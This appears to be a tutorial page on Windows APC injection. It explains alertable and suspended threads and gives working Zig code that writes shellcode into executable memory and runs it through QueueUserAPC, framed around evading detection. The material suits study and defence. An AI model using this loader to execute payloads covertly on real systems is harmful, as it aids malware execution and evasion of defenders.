Skip to content

APC Injection

TL;DR

See the code example

APC injection is a stealthy code injection technique that executes malicious payloads within legitimate Windows thread contexts. It leverages the built-in APC mechanism via QueueUserAPC to schedule shellcode execution without creating new processes, making detection difficult.

The technique uses two approaches: alertable threads (using APIs like SleepEx with alertable flags for immediate execution) or suspended threads (created paused, then resumed after APC queuing). Our Zig implementation provides an interactive menu to choose between five alertable functions or suspended thread execution.

This method's effectiveness comes from using legitimate Windows APIs and executing within existing thread contexts, avoiding the suspicious behavior of process creation while maintaining high reliability for covert operations.

Asynchronous Procedure Calls (APC)

Asynchronous procedure calls (APC) is a function that executes asynchronously in the context of a particular thread. When an APC is queued to a thread, the system issues a software interrupt. The next time the thread is scheduled, it will run the APC function. An APC generated by the system is called a kernel-mode APC. An APC generated by an application is called a user-mode APC. A thread must be in an alertable state to run a user-mode APC.

To be more detailed, there're actually 4 types of APC on Windows, but here we'll focus on the user-mode APC.

Alertable State

Windows APC functions are put on a queue (FIFO). User-mode APC can only be called by the thread when the thread is in alertable state, but when once the APC is called, all of the functions in the APC queue will be executed by the thread.

So, what is alertable state? It's actually the state that when a thread has no task to do (which is in a wait state). When a thread enter a alertable state, it will be placed in the queue of alertable threads, which allowed to run queued APC functions.

APC Injection

APC Injection is a code injection technique that leverages the Windows APC mechanism to execute malicious code in the context of another thread. This technique works by:

  1. Creating or targeting a thread - Either create a new thread in a suspended state or find an existing threads
  2. Injecting shellcode - Allocate memory and write the payload to the target process
  3. *Queuing the APC - Use QueueUserAPC to schedule the shellcode execution
  4. Triggering execution - Either resume a suspended thread or wait for an alertable thread to process the APC

    The main advantage of APC injection is that it executes code within the legitimate context of an existing thread, making it harder to detect than creating new threads or processes.

QueueUserAPC

The QueueUserAPC function is the core of APC injection. It adds a user-mode APC object to the APC queue of the specified thread.

extern "kernel32" fn QueueUserAPC(
    pfnAPC: PAPCFUNC,           // Pointer to the APC function
    hThread: HANDLE,            // Handle to the target thread
    dwData: windows.ULONG_PTR,  // Parameter passed to APC function
) callconv(WINAPI) BOOL;

Here's how we use it in our implementation:

// APC injection function
fn runViaApcInjection(hThread: HANDLE, pPayload: []const u8) bool {
    var dwOldProtection: DWORD = 0;

    // Allocate memory for the payload
    const pAddress = VirtualAlloc(null, pPayload.len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pAddress == null) {
        print("\t[!] VirtualAlloc Failed With Error : {}\n", .{GetLastError()});
        return false;
    }

    // Copy payload to allocated memory
    @memcpy(@as([*]u8, @ptrCast(pAddress))[0..pPayload.len], pPayload);

    print("\t[i] Payload Written To : 0x{X}\n", .{@intFromPtr(pAddress)});

    // Change memory protection to executable
    if (VirtualProtect(pAddress.?, pPayload.len, PAGE_EXECUTE_READWRITE, &dwOldProtection) == 0) {
        print("\t[!] VirtualProtect Failed With Error : {}\n", .{GetLastError()});
        return false;
    }

    waitForEnter("\t[#] Press <Enter> To Run ... ");

    // Queue the APC - this is where the magic happens!
    if (QueueUserAPC(@ptrCast(pAddress), hThread, 0) == 0) {
        print("\t[!] QueueUserAPC Failed With Error : {}\n", .{GetLastError()});
        return false;
    }

    return true;
}

Key Points:

  • pfnAPC points to our shellcode (cast as a function pointer)
  • hThread is either a suspended thread or an alertable thread
  • dwData can pass parameters to the APC function (we use 0)

Put A Thread To Alertable State

There are two main approaches to make APC injection work: using alertable threads or suspended threads.

Using The Functions

Alertable threads are threads that call specific Windows API functions with the alertable flag set to TRUE. These functions will process queued APCs while waiting:

Method 1: SleepEx

fn alertableFunction1(lpParameter: LPVOID) callconv(WINAPI) DWORD {
    _ = lpParameter;
    _ = SleepEx(INFINITE, 1); // TRUE = 1, sleeps indefinitely in alertable state
    return 0;
}

Method 2: WaitForSingleObjectEx

fn alertableFunction2(lpParameter: LPVOID) callconv(WINAPI) DWORD {
    _ = lpParameter;

    const hEvent = CreateEventW(null, 0, 0, null);
    if (hEvent != null) {
        _ = WaitForSingleObjectEx(hEvent.?, INFINITE, 1); // Alertable wait
        _ = CloseHandle(hEvent.?);
    }
    return 0;
}

Method 3: WaitForMultipleObjectsEx

fn alertableFunction3(lpParameter: LPVOID) callconv(WINAPI) DWORD {
    _ = lpParameter;

    const hEvent = CreateEventW(null, 0, 0, null);
    if (hEvent != null) {
        const handles = [_]HANDLE{hEvent.?};
        _ = WaitForMultipleObjectsEx(1, &handles, 1, INFINITE, 1); // Alertable wait
        _ = CloseHandle(hEvent.?);
    }
    return 0;
}

Method 4: MsgWaitForMultipleObjectsEx

fn alertableFunction4(lpParameter: LPVOID) callconv(WINAPI) DWORD {
    _ = lpParameter;

    const hEvent = CreateEventW(null, 0, 0, null);
    if (hEvent != null) {
        const handles = [_]HANDLE{hEvent.?};
        _ = MsgWaitForMultipleObjectsEx(1, &handles, INFINITE, QS_KEY, MWMO_ALERTABLE);
        _ = CloseHandle(hEvent.?);
    }
    return 0;
}

Method 5: SignalObjectAndWait

fn alertableFunction5(lpParameter: LPVOID) callconv(WINAPI) DWORD {
    _ = lpParameter;

    const hEvent1 = CreateEventW(null, 0, 0, null);
    const hEvent2 = CreateEventW(null, 0, 0, null);

    if (hEvent1 != null and hEvent2 != null) {
        _ = SignalObjectAndWait(hEvent1.?, hEvent2.?, INFINITE, 1); // Alertable wait
        _ = CloseHandle(hEvent1.?);
        _ = CloseHandle(hEvent2.?);
    }
    return 0;
}

Create An Alertable Thread

// Create thread that immediately enters alertable state
hThread = CreateThread(null, 0, alertableFunction1, null, 0, &dwThreadId);
if (hThread == null) {
    print("[!] CreateThread Failed With Error : {}\n", .{GetLastError()});
    return;
}
print("[+] Alertable Target Thread Created With Id : {}\n", .{dwThreadId});

Suspended Thread

An alternative approach is to create a thread in a suspended state, queue the APC, then resume the thread:

// Dummy function for suspended thread
fn dummyFunction(lpParameter: LPVOID) callconv(WINAPI) DWORD {
    _ = lpParameter;

    // Some dummy code that will never execute because APC hijacks it
    var prng = std.Random.DefaultPrng.init(@intCast(std.time.timestamp()));
    const random = prng.random();
    const j = random.int(i32);
    const i = j + random.int(i32);
    _ = i;

    return 0;
}

// Create suspended thread
hThread = CreateThread(null, 0, dummyFunction, null, CREATE_SUSPENDED, &dwThreadId);
if (hThread == null) {
    print("[!] CreateThread Failed With Error : {}\n", .{GetLastError()});
    return;
}
print("[+] Suspended Target Thread Created With Id : {}\n", .{dwThreadId});

// Queue APC to suspended thread
if (!runViaApcInjection(hThread.?, &Payload)) {
    return;
}

// Resume thread - this will execute the APC instead of the original function
print("[i] Resuming Suspended Thread...", .{});
_ = ResumeThread(hThread.?);
print("[+] DONE\n", .{});

Key Differences

Aspect Alertable Thread Suspended Thread
Execution Timing Immediate when APC is queued After thread is resumed
Thread State Running, waiting in alertable state Suspended, not running
Detection Risk Lower (thread appears to be waiting normally) Slightly higher (suspended threads are unusual)
Reliability High (guaranteed to execute when queued) High (executes on resume)
Use Case When you want immediate execution When you want to control timing